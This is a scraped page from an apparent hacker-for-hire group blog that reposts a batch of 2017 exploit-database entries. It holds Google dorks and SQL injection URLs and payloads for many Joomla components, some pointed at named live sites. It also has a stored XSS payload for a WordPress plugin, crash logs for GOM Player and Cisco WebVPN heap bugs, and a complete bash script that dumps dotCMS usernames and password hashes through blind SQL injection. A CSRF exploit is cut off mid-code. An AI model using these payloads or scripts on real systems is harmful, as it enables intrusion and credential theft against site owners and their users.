Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863293857

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: GOM Player 2.3.10.5266 - Remote heap corruption (.fpx)
# Date: 2017-02-15
# Exploit Author: Peter Baris
# Exploit link: http://www.saptech-erp.com.au/resources/PoC.zip
# Software Link: http://player.gomlab.com/download.gom?language=eng
# CVE: CVE-2017-5881
# Version: 2.3.10.5266
# Tested on: Windows Server 2008 R2 x64, Windows 7 SP1 x64

POC:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41367.zip  

Open the malicious fpx file with CTRL+U, served by a webserver:

 WinDbg 

(864.150): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=092fcde8 ebx=00000000 ecx=41414141 edx=090ff798 esi=090ff790
edi=05b10000

eip=77902fe5 esp=10a9fbb4 ebp=10a9fc94 iopl=0         nv up ei ng nz na pe
cy

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010287

ntdll!RtlpFreeHeap+0x4d6:

77902fe5 8b19            mov     ebx,dword ptr [ecx]
ds:002b:41414141=????????

 

0:022> !exchain

10a9fc84: ntdll!_except_handler4+0 (77946325)

  CRT scope  0, func:   ntdll!RtlpFreeHeap+b7d (7795b52d)

10a9fd54: *** WARNING: Unable to verify checksum for C:\Program Files
(x86)\GRETECH\GomPlayer\gvf.ax

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\Program Files (x86)\GRETECH\GomPlayer\gvf.ax - 

gvf!DllGetClassObject+5801b (6e02bc7b)

10a9fdcc: gvf!DllGetClassObject+57af8 (6e02b758)

10a9fe00: gvf!DllGetClassObject+57ac8 (6e02b728)

10a9fe84: gvf!DllGetClassObject+57fe0 (6e02bc40)

10a9feac: gvf!DllGetClassObject+5d5e8 (6e031248)

10a9ff60: ntdll!_except_handler4+0 (77946325)

  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (77946608)

                func:   ntdll!__RtlUserThreadStart+63 (77948227)

10a9ff80: ntdll!FinalExceptionHandler+0 (779983b1)

Invalid exception stack at ffffffff


2017-02-04 notification sent to developers

2017-02-05 developerss requested information about the issue

2017-02-09 information sent with the PoC

no reply if they plan to release a fix or not
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component JSP Store Locator v2.2 - SQL Injection
# Google Dork: inurl:index.php?option=com_jsplocation
# Date: 15.02.2017
# Vendor Homepage: http://joomlaserviceprovider.com
# Software Buy: https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/jsplocation/
# Demo: http://demo.joomlaserviceprovider.com/index.php/joomla/extensions/jsp-location-classic-theme
# Version: 2.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_jsplocation&task=directionview&id=[SQL]
# http://localhost/[PATH]/index.php?option=com_jsplocation&task=redirectviewinfo&id=[SQL]
# http://localhost/[PATH]/index.php?option=com_jsplocation&view=classic&task=redirectviewinfo&id=[SQL]
# Etc...
# # # # #
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=998

The WebVPN http server exposes a way of accessing files from CIFS with a url hook of the form: https://portal/+webvpn+/CIFS_R/share_server/share_name/file.

When someone logged into the portal navigates to such an address, the http_cifs_process_path function parses the request URI and creates 2 C strings in a http_cifs_context struct:

http_cifs_context:
  +0x160 char* file_dir
  +0x168 char* file_name

These strings are copied in various places, but is done incorrectly. For example, in ewaURLHookCifs, there is the following pseudocode:

   filename_copy_buf = calloc(1LL, 336LL);
   net_handle[10] = filename_copy_buf;
   if ( filename_copy_buf )
   {
     src_len = _wrap_strlen(filename_from_request);
     if ( filename_from_request[src_len - 1] == ('|') )
     {
       // wrong length (src length)
       strncpy((char *)filename_copy_buf, filename_from_request,
               src_len - 1);
     }

In this case, a fixed size buf (|filename_copy_buf|) is allocated. Later, strncpy is called to copy to it, but the length passed is the length of the src string, which can be larger than 366 bytes. This leads to heap overflow.

There appear to be various other places where the copying is done in an unsafe way:

http_cifs_context_to_name, which is called from ewaFile{Read,Write,Get}Cifs, and ewaFilePost, uses strcat to copy the file path and file name to a fixed size (stack) buffer.

http_cifs_pre_fopen, which has a similar issue with passing the length of the src buffer to strncpy. 

Possibly http_add_query_str_from_context. There are probably others that I missed.

Note that triggering this bug requires logging in to the WebVPN portal first, but the cifs share does not need to exist.

Repro:

Login to WebVPN portal, navigate to:

https://portal/+webvpn+/CIFS_R/server/name/ followed by 500 'A's.

("server" and "name" may be passed verbatim)

*** Error in `lina': malloc(): memory corruption: 0x00007fa40c53f570 ***
======= Backtrace: =========
/lib64/libc.so.6(+0x3f0486e74f)[0x7fa4139fc74f]
/lib64/libc.so.6(+0x3f048783ee)[0x7fa413a063ee]
/lib64/libc.so.6(+0x3f0487be99)[0x7fa413a09e99]
/lib64/libc.so.6(__libc_malloc+0x60)[0x7fa413a0b5a0]
lina(+0x321976a)[0x7fa41a2b276a]
lina(mem_mh_calloc+0x123)[0x7fa41a2b4c83]
lina(resMgrCalloc+0x100)[0x7fa419659410]
lina(calloc+0x94)[0x7fa419589a34]
lina(ewsFileSetupFilesystemDoc+0x28)[0x7fa41826a608]
lina(ewsServeFindDocument+0x142)[0x7fa418278192]                                        
lina(ewsServeStart+0x114)[0x7fa4182784a4]                                               
lina(ewsParse+0x19a0)[0x7fa418272cc0]                                                   
lina(ewsRun+0x9c)[0x7fa41826955c]                                                       
lina(emweb_th+0x6ab)[0x7fa418286aeb]
lina(+0xde58ab)[0x7fa417e7e8ab]

This was tested on 9.6(2)
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component Spider Calendar Lite v3.2.16 - SQL Injection
# Google Dork: inurl:index.php?option=com_spidercalendar
# Date: 16.02.2017
# Vendor Homepage: http://web-dorado.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/spider-calendar-lite/
# Demo: http://demo.web-dorado.com/spider-calendar.html
# Version: 3.2.16
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_spidercalendar&view=spidercalendar&calendar_id=[SQL]
# http://localhost/[PATH]/index.php?option=com_spidercalendar&view=spidercalendar&calendar_id=1&module_id=92&date92=2017-02-3&cat_ids=&Itemid=[SQL]
# Etc...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component Spider Catalog Lite v1.8.10 - SQL Injection
# Google Dork: inurl:index.php?option=com_spidercatalog
# Date: 16.02.2017
# Vendor Homepage: http://web-dorado.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/directory-a-documentation/directory/spider-catalog-lite/
# Demo: http://demo.web-dorado.com/spider-catalog.html
# Version: 1.8.10
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_spidercatalog&product_id=40&view=showproduct&page_num=1&back=1&show_category_details=0&display_type=list&show_subcategories=0&show_subcategories_products=0&show_products=1&select_categories=0&Itemid=[SQL]
# 
http://localhost/[PATH]/index.php?option=com_spidercatalog&view=spidercatalog&select_categories=[SQL]&show_category_details=1&display_type=cell&show_subcategories=1
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component Spider Facebook v1.6.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_spiderfacebook
# Date: 16.02.2017
# Vendor Homepage: http://web-dorado.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/social-web/social-display/spider-facebook/
# Demo: http://demo.web-dorado.com/spider-facebook.html
# Version: 1.6.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_spiderfacebook&task=loginwith&name=[SQL]
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component Spider FAQ Lite v1.3.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_spiderfaq
# Date: 16.02.2017
# Vendor Homepage: http://web-dorado.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/directory-a-documentation/faq/spider-faq-lite/
# Demo: http://demo.web-dorado.com/spider-faq.html
# Version: 1.3.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=1&searchform=1&expand=0&Itemid=[SQL]
# # # # #
HireHackking 
# Exploit Title: Authorized Stored XSS at WordPress Corner-Ad plugin.
# Google Dork: inurl:/wp-content/plugins/corner-ad
# Date: 16-02-17
# Exploit Author: Atik Rahman
# Vendor Homepage: https://wordpress.org/plugins/corner-ad/
# Software Link: https://downloads.wordpress.org/plugin/corner-ad.zip
# Version: 1.0.7
# Tested on: Firefox 44, Windows10


Vendor Description
---------------------

*Corner Ad* is a plugin which display you ads in a corner of your
WordPress website page.

The Plugin has 1,000+ active install.


Stored XSS in Ad Name
----------------------

Ad name input fields aren't properly escaped. This
could lead to an XSS attack that could possibly affect
administrators,users,editor.




1. Go to http://localhost/wp-admin/options-general.php?page=corner-ad.php

2. Click on create new Add button.

3. And Use Ad name as "/><svg/onload=prompt(document.domain)> *Fill
the other field.

4.Now Click on save corner Add button when it's add a new add go to the
http://localhost/wp-admin/options-general.php?page=corner-ad.php
for corner add list. And now Your xss will

be executed.

5. If a normal editor,author visit the corner add list page xss will
effect them also.
HireHackking 
: '
# Blind Boolean SQL Injection in dotCMS <= 3.6.1 (CVE-2017-5344)

## Product Description

dotCMS is a scalable, java based, open source content management system
(CMS) that has been designed to manage and deliver personalized, permission
based content experiences across multiple channels. dotCMS can serve as the
plaform for sites, mobile apps, mini-sites, portals, intranets or as a
headless CMS (content is consumed via RESTful APIs). dotCMS is used
everywhere, from running small sites to powering multi-node installations
for governemnts, Fortune 100 companies, Universities and Global Brands. A
dotCMS environment can scale to support hundreds of editors managing
thousands of sites with millions of content objects.

## Vulnerability Type

Blind Boolean SQL injection

## Vulnerability Description

dotCMS versions up to 3.6.1 (and possibly others) are vulnerable to blind
boolean SQL injection in the q and inode parameters at the
/categoriesServlet path. This servlet is a remotely accessible,
unauthenticated function of default dotCMS installations and can be
exploited to exfiltrate sensitive information from databases accessible to
the DMBS user configured with the product.

Exploitation of the vulnerability is limited to the MySQL DMBS in 3.5 -
3.6.1 as SQL escaping controls were added to address a similar
vulnerability discovered in previous versions of the product. The means of
bypassing these features which realise this vulnerability have only been
successfully tested with MySQL 5.5, 5.6 and 5.7 and it is believed other
DMBSes are not affected. Versions prior to 3.6 do not have these controls
and can be exploited directly on a greater number of paired DMBSes.
PostgreSQL is vulnerable in all described versions of dotCMS when
PostgreSQL standard_confirming_strings setting is disabled (enabled by
default).

The vulnerability is the result of string interpolation and directly SQL
statement execution without sanitising user input. The intermediate
resolution for a previous SQLi vulnerability was to whitelist and partially
filter user input before interpolation. This vulnerability overcomes this
filtering to perform blind boolean SQL injection. The resolution to this
vulnerability was to implement the use of prepared statements in the
affected locations.

This vulnerability has been present in dotCMS since at least since version
3.0.

## Exploit

A proof of concept is available here:
https://github.com/xdrr/webapp-exploits/tree/master/vendors/dotcms/2017.01.blind-sqli

## Versions

dotCMS <= 3.3.2 and MYSQL, MSSQL, H2, PostgreSQL

dotCMS 3.5 - 3.6.1 and (MYSQL or PostgreSQL w/ standard_confirming_strings
disabled)

## Attack Type

Unauthenticated, Remote

## Impact

The SQL injection vulnerability can be used to exfiltrate sensitive
information from the DBMS used with dotCMS. Depending of the DBMS
configuration and type, the issue could be as severe as establishing a
remote shell (such as by using xp_exec on MSSQL servers) or in the most
limited cases, restricted only to exfiltration of data in dotCMS database
tables.

## Credit

This vulnerability was discovered by Ben Nott <pajexali@gmail.com>.

Credit goes to Erlar Lang for discovering similar SQL injection
vulnerabilities in nearby code and for inspiring this discovery.

## Disclosure Timeline

  * Jan 2, 2017 - Issue discovered.
  * Jan 2, 2017 - Vendor advised of discovery and contact requested for
full disclosure.
  * Jan 4, 2017 - Provided full disclosure to vendor.
  * Jan 5, 2017 - Vendor acknowledged disclosure and confirmed finding
validity.
  * Jan 14, 2017 - Vendor advised patch developed and preparing for release.
  * Jan 24, 2017 - Vendor advised patching in progress.
  * Feb 15, 2017 - Vendor advises ready for public disclosure.

## References

Vendor advisory: http://dotcms.com/security/SI-39
CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-5344
'

#!/bin/bash
#
# Dump password hashes from dotCMS <= 3.6.1 using blind boolean SQL injection.
# CVE: CVE-2017-5344
# Author: Ben Nott <pajexali@gmail.com>
# Date: January 2017
#
# Note this exploit is tuned for MySQL backends but can be adapted
# for other DMBS's.

show_usage() {
    echo "Usage $0 [target]"
    echo
    echo "Where:"
    echo -e "target\t...\thttp://target.example.com (no trailing slash, port optional)"
    echo
    echo "For example:"
    echo
    echo "$0 http://www.examplesite.com"
    echo "$0 https://www.mycmssite.com:9443"
    echo
    exit 1
}

test_exploit() {
    target=$1
    res=$(curl -k -s -X 'GET' \
           -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \
           "${target}/categoriesServlet?q=%5c%5c%27")

    if [ $? -ne 0 ];
    then
        echo "Failed to connect. Check host and try again!"
        exit 1
    fi

    if [ -z "$res" ];
    then
        echo "The target appears vulnerable. We're good to go!"
    else
        echo "The target isn't vulnerable."
        exit 1
    fi
}

dump_char() {
    target=$1
    char=$2
    database=$3
    index=$4
    offset=$5
    column=$6
    avg_delay=$7

    if [ -z "$offset" ];
    then
        offset=1
    fi

    if [[ $char != *"char("* ]];
    then
        char="%22${char}%22"
    fi

    if [ -z "$column" ];
    then
        column="password_"
    fi

    # Controls the avg delay of a FALSE
    # request
    if [ -z "$avg_delay" ];
    then
        avg_delay="0.100"
    fi

    res=$(curl -k -sS \
        -w " %{time_total}" \
        -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \
        "${target}/categoriesServlet?q=%5c%5c%27)+OR%2f%2a%2a%2f(SELECT(SUBSTRING((SELECT(${column})FROM(${database}.user_)LIMIT%2f%2a%2a%2f${index},1),${offset},1)))LIKE+BINARY+${char}%2f%2a%2a%2fORDER+BY+category.sort_order%23")
    data=$(echo $res | awk '{print $1}')
    rtt=$(echo $res | awk '{print $2}')

    # Calculate boolean based on time delay and
    # data presence.
    has_delay=$(echo "${rtt}>${avg_delay}" | bc -l)
    if [ ! -z "$data" ];
    then
        if [ $has_delay -eq 1 ];
        then
            echo "$char"
        fi
    fi
}

testdb() {
    target=$1
    res=$(dump_char $target 1 "dotcms" 1 1)
    if [ ! -z "$res" ];
    then
        echo "dotcms"
    else
        res=$(dump_char $target 1 "dotcms2")
        if [ ! -z "$res" ];
        then
            echo "dotcms2"
        fi
    fi
}

convert_char() {
    char=$1
    conv="$char"

    if [ "$char" == "char(58)" ];
    then
        conv=":"
    elif [ "$char" == "char(47)" ];
    then
        conv="/"
    elif [ "$char" == "char(61)" ];
    then
        conv="="
    elif [ "$char" == "char(45)" ];
    then
        conv="-"
    fi

    echo -n "$conv"
}

a2chr() {
    a=$1
    printf 'char(%02d)' \'$a
}

n2chr() {
    n=$1
    printf 'char(%d)' $n
}

chr2a() {
    chr=$1
    chr=$(echo $chr | sed -e 's/char(//g' -e 's/)//g')
    chr=`printf \\\\$(printf '%03o' $chr)`
    echo -n $chr
}

iter_chars() {
    target=$1
    db=$2
    user=$3
    offset=$4
    column=$5
    for c in {32..36} {38..94} {96..126}
    do
        c=$(n2chr $c)
        res=$(dump_char $target $c $db $user $offset $column)

        if [ ! -z "$res" ];
        then
            chr2a $res
            break
        fi
    done
}

exploit() {
    target=$1
    db=$(testdb $target)

    if [ -z "$db" ];
    then
        echo "Unable to identify database name used by dotcms instance!"
        exit 1
    fi

    echo "Dumping users and passwords from database..."
    echo

    for user in $(seq 0 1023);
    do
        validuser=1
        echo -n "| $user | "
        for offset in $(seq 1 1024);
        do
            res=$(iter_chars $target $db $user $offset "userid")
            
            if [ -z "$res" ];
            then
                if [ $offset -eq 1 ];
                then
                    validuser=0
                fi
                break
            fi

            echo -n "$res";
        done

        if [ $validuser -eq 1 ];
        then
            printf " | "
        else
            printf " |\n"
            break
        fi
        for offset in $(seq 1 1024);
        do
            res=$(iter_chars $target $db $user $offset "password_")

            if [ -z "$res" ];
            then
                break
            fi

            echo -n "$res";
        done
        printf " |\n"
    done
    echo
    echo "Dumping complete!"
}

target=$1

if [ -z "$target" ];
then
    show_usage
fi

test_exploit $target
exploit $target
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component JEmbedAll v1.4 - SQL Injection
# Google Dork: inurl:index.php?option=com_jembedall
# Date: 16.02.2017
# Vendor Homepage: http://www.goldengravel.eu/
# Software Buy: https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/jembedall/
# Demo: http://www.goldengravel.eu/
# Version: 1.4
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_jembedall&downloadfree=[SQL]
# http://localhost/[PATH]/index.php?option=com_jembedall&export=articlepdf&id=[SQL]
# # # # #


http://www.goldengravel.eu/index.php?option=com_jembedall&downloadfree=4'
http://www.goldengravel.eu/index.php?option=com_jembedall&export=articlepdf&id=4'

http://www.supravirtual.ro/index.php?option=com_jembedall&downloadfree=4'
http://www.supravirtual.ro/index.php?option=com_jembedall&export=articlepdf&id=4'
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component Team Display v1.2.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_teamdisplay
# Date: 17.02.2017
# Vendor Homepage: http://addonstreet.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/vertical-markets/thematic-directory/team-display/
# Demo: http://addonstreet.com/demo/teamdisplay/
# Version: 1.2.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_teamdisplay&view=members&filter_category=[SQL]
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component Groovy Gallery v1.0.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_groovygallery
# Date: 17.02.2017
# Vendor Homepage: http://addonstreet.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/photos-a-images/galleries/groovy-gallery/
# Demo: http://addonstreet.com/products/groovy-gallery
# Version: 1.0.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_groovygallery&view=images&filter_category=[SQL]
# http://localhost/[PATH]/index.php?option=com_groovygallery&view=images&groovy_category=[SQL]
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component WMT Content Timeline v1.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_wmt_content_timeline
# Date: 17.02.2017
# Vendor Homepage: http://devecostudio.com
# Software Buy: https://extensions.joomla.org/extensions/extension/news-display/articles-display/wmt-content-timeline/
# Demo: http://joomla.devecostudio.com/9-wmt-content-timeline-joomla-module.html
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_wmt_content_timeline&task=returnArticle&id=[SQL]
# -66666+/*!50000union*/+select+1,2,3,4,5,6,7,8,9,10,0x496873616e2053656e63616e203c62723e207777772e696873616e2e6e6574,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),13,14,15--+-
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component Joomloc-CAT v4.1.3 - SQL Injection
# Google Dork: inurl:index.php?option=com_joomloc
# Date: 18.02.2017
# Vendor Homepage: http://www.joomloc.fr.nf/
# Software Buy: https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/joomloc-cat/
# Demo: http://www.joomloc.fr.nf/joomlocprocmpms/
# Version: 4.1.3
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_joomloc&view=engine&layout=geo&liste=65&place=dep&ville=[SQL]
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component Joomloc-Lite v1.3.2 - SQL Injection
# Google Dork: inurl:index.php?option=com_joomloc
# Date: 18.02.2017
# Vendor Homepage: http://www.joomloc.fr.nf/
# Software Buy: https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/joomloc-lite/
# Demo: http://www.joomloc.fr.nf/joomloclite/
# Version: 1.3.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_joomloc&view=loc&layout=singleloc&site_id=[SQL]
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component JomWALL v4.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_awdwall
# Date: 18.02.2017
# Vendor Homepage: http://dashbite.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/clients-a-communities/communities/jomwall/
# Demo: http://demo-dashbite.com/
# Version: 4.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_awdwall&task=gethovercard&wuid=[SQL]
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component EShop v2.5.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_eshop
# Date: 18.02.2017
# Vendor Homepage: https://www.joomdonation.com/
# Software Buy: https://www.joomdonation.com/joomla-extensions/eshop-joomla-shopping-cart.html
# Demo: http://joomdonationdemo.com/eshop
# Version: 2.5.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_eshop&view=category&id=[SQL]
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component OS Property v3.0.8 - SQL Injection
# Google Dork: inurl:index.php?option=com_osproperty
# Date: 18.02.2017
# Vendor Homepage: https://www.joomdonation.com/
# Software Buy: https://www.joomdonation.com/joomla-extensions/os-property-joomla-real-estate.html
# Demo: http://osproperty.ext4joomla.com/
# Version: 3.0.8
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_osproperty&view=ltype&catIds[0]=[SQL]
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component OS Services Booking v2.5.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_osservicesbooking
# Date: 18.02.2017
# Vendor Homepage: https://www.joomdonation.com/
# Software Buy: https://www.joomdonation.com/joomla-extensions/joomla-services-appointment-booking.html
# Demo: http://osb.ext4joomla.com/
# Version: 2.5.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_osservicesbooking&task=default_showmap&vid=[SQL]
# http://localhost/[PATH]/index.php?option=com_osservicesbooking&view=default&category_id=[SQL]
# http://localhost/[PATH]/index.php?option=com_osservicesbooking&view=default&category_id=15&employee_id=[SQL]
# http://localhost/[PATH]/index.php?option=com_osservicesbooking&view=default&category_id=15&employee_id=&vid=[SQL]
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component Room Management v1.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_roommgmt
# Date: 18.02.2017
# Vendor Homepage: http://matamko.com/
# Software Buy: http://matamko.com/products/room-management/live-demo
# Demo: http://matamko.com/products/room-management/live-demo
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/room/book?tmpl=component&id=5&date=[SQL]
# '+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# http://localhost/[PATH]/my-bookings?task=booking.cancelBooking&status=[SQL]
# '+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# http://localhost/[PATH]/my-bookings?task=booking.cancelBooking&status=0&id=[SQL]
# +/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# Etc...
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Joomla! Component Bazaar Platform v3.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_bazaar
# Date: 18.02.2017
# Vendor Homepage: http://matamko.com/
# Software Buy: http://matamko.com/products/bazaar/live-demo
# Demo: http://matamko.com/products/bazaar/live-demo
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_bazaar&view=productsearch&searchproduct=a&category=[SQL]
# 1+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# http://localhost/[PATH]/index.php?option=com_bazaar&view=productsearch&searchproduct=[SQL]
# 1'+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# http://localhost/[PATH]/index.php?option=com_bazaar&view=product&productid=[SQL]
# 1+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# Etc...
# # # # #
HireHackking 
# Exploit Title: RSS News AutoPilot Script 1.0.1 / 3.0.3 - CSRF to
Persistent XSS and RCE Through Unrestricted File Upload
# Date: 30 August 2016
# Exploit Author: Arbin Godar
# Website : ArbinGodar.com
# Software Link: https://codecanyon.net/item/rss-news-autopilot-script/11812898
# Version: 1.0.1 to 3.0.3

----------------------------------------------------------------------------------------------------------------------

RSS News AutoPilot Script File:
http://www.mediafire.com/file/6dmegm8ak1jv2u1/rss.zip

Description:
An Attackers are able to execute js and php code on web
application using RSS News - AutoPilot Script which allow an attacker to
create a post when an authenticated user/admin browses a special
crafted web page. Also, all the process was possible without any
authenticated user/admin for more info watch the below PoC Video.

The title parameter was not filtering special characters mean
vulnerable to XSS and while uploading image they weren't filtering the file
type mean vulnerable to unrestricted file upload. So, now by creating CSRF
exploit code for posting
an article with XSS alert JS payload as title of post and php file as a
image. Now if the
attacker is able to perform CSRF attack sucessfully then XSS will be
triggered and we can execute php code too.

PoC Video: https://youtu.be/znDgv8K0yFk

CSRF Exploit Code:

 <html>
  <body>
   <title>[RSS News - AutoPilot Script] CSRF to Persistent XSS and
RCE</title>
 <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost/news.php?case=add", true);
        xhr.setRequestHeader("Accept",
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data;
boundary=---------------------------2331884730649");
        xhr.withCredentials = true;
        var body = "-----------------------------2331884730649\r\n" +
